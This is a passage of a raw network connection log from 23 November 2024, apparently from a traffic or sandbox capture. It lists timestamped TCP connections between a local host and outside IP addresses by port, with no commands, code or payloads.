Nov 23, 2024 21:15:43.209336996 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.209350109 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.209362030 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.221894979 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.225620985 CET	49780	443	192.168.2.8	34.117.188.166
Nov 23, 2024 21:15:43.225703955 CET	443	49780	34.117.188.166	192.168.2.8
Nov 23, 2024 21:15:43.241626024 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.241786003 CET	49780	443	192.168.2.8	34.117.188.166
Nov 23, 2024 21:15:43.243976116 CET	49780	443	192.168.2.8	34.117.188.166
Nov 23, 2024 21:15:43.243992090 CET	443	49780	34.117.188.166	192.168.2.8
Nov 23, 2024 21:15:43.277627945 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.277709961 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.282155991 CET	49766	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.298244953 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.298327923 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.302315950 CET	49769	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.325455904 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:43.326699972 CET	49767	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.326699972 CET	49767	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.326739073 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.326752901 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.331329107 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:43.331489086 CET	49766	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.331520081 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.331537008 CET	49766	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.331543922 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.341519117 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.341562033 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.342575073 CET	49772	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:43.359476089 CET	49769	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.359500885 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.359512091 CET	49769	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.359518051 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.362705946 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.410332918 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.410454035 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.415637970 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.415709019 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.418814898 CET	49778	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:43.419064045 CET	49770	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.419064045 CET	49770	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.419090986 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.419104099 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.423449039 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.423449039 CET	49768	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.423466921 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.423505068 CET	49768	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.423511028 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.426290035 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.426423073 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.436943054 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.437061071 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.438838005 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.447637081 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.447750092 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.458276987 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.458383083 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.459784985 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.462229013 CET	49772	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:43.462286949 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:43.462702990 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:43.467544079 CET	49772	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:43.467814922 CET	49772	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:43.467871904 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:43.468919992 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.469039917 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.470222950 CET	49772	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:43.470227003 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.473573923 CET	49781	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.473642111 CET	443	49781	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.475718021 CET	49782	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.475761890 CET	443	49782	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.477057934 CET	49783	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.477081060 CET	443	49783	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.478151083 CET	49784	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.478183031 CET	443	49784	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.478919029 CET	49785	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.478955984 CET	443	49785	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.479715109 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.479810953 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.480279922 CET	49781	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.480770111 CET	49782	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.481049061 CET	49783	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.481049061 CET	49785	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.481050968 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.481053114 CET	49784	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.483267069 CET	49785	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.483288050 CET	443	49785	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.483361006 CET	49784	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.483377934 CET	443	49784	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.483423948 CET	49781	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.483454943 CET	443	49781	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.483475924 CET	49782	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.483491898 CET	443	49782	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.490263939 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.490391016 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.491635084 CET	49783	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.491662979 CET	443	49783	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.491713047 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.500921965 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.500953913 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.501086950 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.511440039 CET	443	49772	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:43.511696100 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.511985064 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.512598038 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.541986942 CET	80	49778	185.215.113.206	192.168.2.8
Nov 23, 2024 21:15:43.601927996 CET	49786	443	192.168.2.8	34.160.144.191
Nov 23, 2024 21:15:43.601982117 CET	443	49786	34.160.144.191	192.168.2.8
Nov 23, 2024 21:15:43.602613926 CET	49786	443	192.168.2.8	34.160.144.191
Nov 23, 2024 21:15:43.602828979 CET	49786	443	192.168.2.8	34.160.144.191
Nov 23, 2024 21:15:43.602843046 CET	443	49786	34.160.144.191	192.168.2.8
Nov 23, 2024 21:15:43.611552954 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.611677885 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.613857031 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.617001057 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.617115974 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.621308088 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.627538919 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.627629995 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.627680063 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.638761997 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.638851881 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.638891935 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.648796082 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.648897886 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.648935080 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.659523964 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.659693956 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.659768105 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.664412022 CET	80	49775	34.107.221.82	192.168.2.8
Nov 23, 2024 21:15:43.664742947 CET	49775	80	192.168.2.8	34.107.221.82
Nov 23, 2024 21:15:43.670165062 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.670289040 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.670346022 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.680841923 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.680960894 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.680998087 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.691528082 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.691636086 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.692939997 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.697217941 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.697374105 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.700025082 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.702936888 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.703027010 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.704946995 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.708699942 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.708801031 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.709237099 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.714525938 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.714581966 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.714647055 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.720166922 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.720278978 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.723824978 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.725999117 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.726150036 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.727799892 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.731705904 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.731765032 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.731810093 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.737530947 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.737639904 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.738748074 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.743170023 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.743184090 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.743412971 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.749583006 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.749711990 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.752134085 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.754873991 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.784648895 CET	80	49775	34.107.221.82	192.168.2.8
Nov 23, 2024 21:15:43.792917013 CET	49775	80	192.168.2.8	34.107.221.82
Nov 23, 2024 21:15:43.826663017 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.826760054 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.829477072 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.829555035 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.830379963 CET	443	49773	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.831078053 CET	443	49773	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.835283041 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.835330009 CET	443	49773	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.835377932 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.838732958 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.838813066 CET	49773	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.839751959 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.839751959 CET	49773	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.841008902 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.841109991 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.846127987 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.846740961 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.846961021 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.848136902 CET	49773	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.848151922 CET	443	49773	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.848268032 CET	49773	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.848368883 CET	443	49773	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.853207111 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.853324890 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.854917049 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.854918957 CET	49773	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.855150938 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.857928038 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.857976913 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.858050108 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.863218069 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.863260984 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.863270998 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.866167068 CET	443	49777	35.244.181.201	192.168.2.8
Nov 23, 2024 21:15:43.866266966 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:43.868204117 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.868237972 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.870496988 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:43.870517969 CET	443	49777	35.244.181.201	192.168.2.8
Nov 23, 2024 21:15:43.870749950 CET	443	49777	35.244.181.201	192.168.2.8
Nov 23, 2024 21:15:43.872994900 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.873110056 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.873625994 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:43.873749018 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:43.873752117 CET	443	49777	35.244.181.201	192.168.2.8
Nov 23, 2024 21:15:43.873761892 CET	443	49777	35.244.181.201	192.168.2.8
Nov 23, 2024 21:15:43.874579906 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:43.874579906 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:43.874582052 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.874708891 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:43.877659082 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.877733946 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.877832890 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.882265091 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.882309914 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.882359028 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.885055065 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.885149002 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.885222912 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.887793064 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.887937069 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.887962103 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.889272928 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:43.890638113 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.890661955 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.893250942 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.893258095 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:43.893567085 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.893632889 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.895293951 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:43.895308018 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:43.895339012 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.895579100 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:43.896132946 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.896151066 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.898899078 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.898997068 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.900588989 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.901648998 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.901830912 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.903414011 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.904556990 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.904582977 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.906774998 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.907392025 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.907557964 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.908265114 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.909946918 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.909995079 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.910037041 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.912703991 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.912811041 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.915637016 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.915730000 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.916938066 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.918245077 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.918346882 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.921009064 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.921113014 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.926148891 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.926496029 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.938441992 CET	443	49774	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.938453913 CET	443	49774	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.939138889 CET	443	49774	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.940431118 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:43.940674067 CET	49774	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.940706015 CET	443	49774	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.944793940 CET	49774	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.944807053 CET	443	49774	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.944884062 CET	49774	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.944943905 CET	443	49774	142.250.181.78	192.168.2.8
Nov 23, 2024 21:15:43.945044041 CET	49774	443	192.168.2.8	142.250.181.78
Nov 23, 2024 21:15:43.983330011 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:44.070344925 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.070424080 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.071825981 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.072263002 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.072421074 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.074510098 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.074733019 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.074937105 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.076592922 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.076715946 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.078946114 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.078952074 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.079087019 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.079582930 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.081321001 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.081605911 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.083592892 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.084513903 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.085930109 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.086292982 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.088231087 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.088598013 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.090574026 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.090620995 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.091171026 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.092889071 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.093003988 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.095248938 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.095604897 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.097543955 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.098543882 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.099976063 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.100522995 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.102236986 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.102504015 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.104676962 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.104769945 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.106882095 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.108025074 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.109232903 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.109249115 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.111526966 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.112200975 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.113898039 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.113938093 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.113975048 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.115752935 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.115840912 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.116189003 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.116244078 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:44.116460085 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.118510962 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:44.119044065 CET	80	49771	185.215.113.16	192.168.2.8
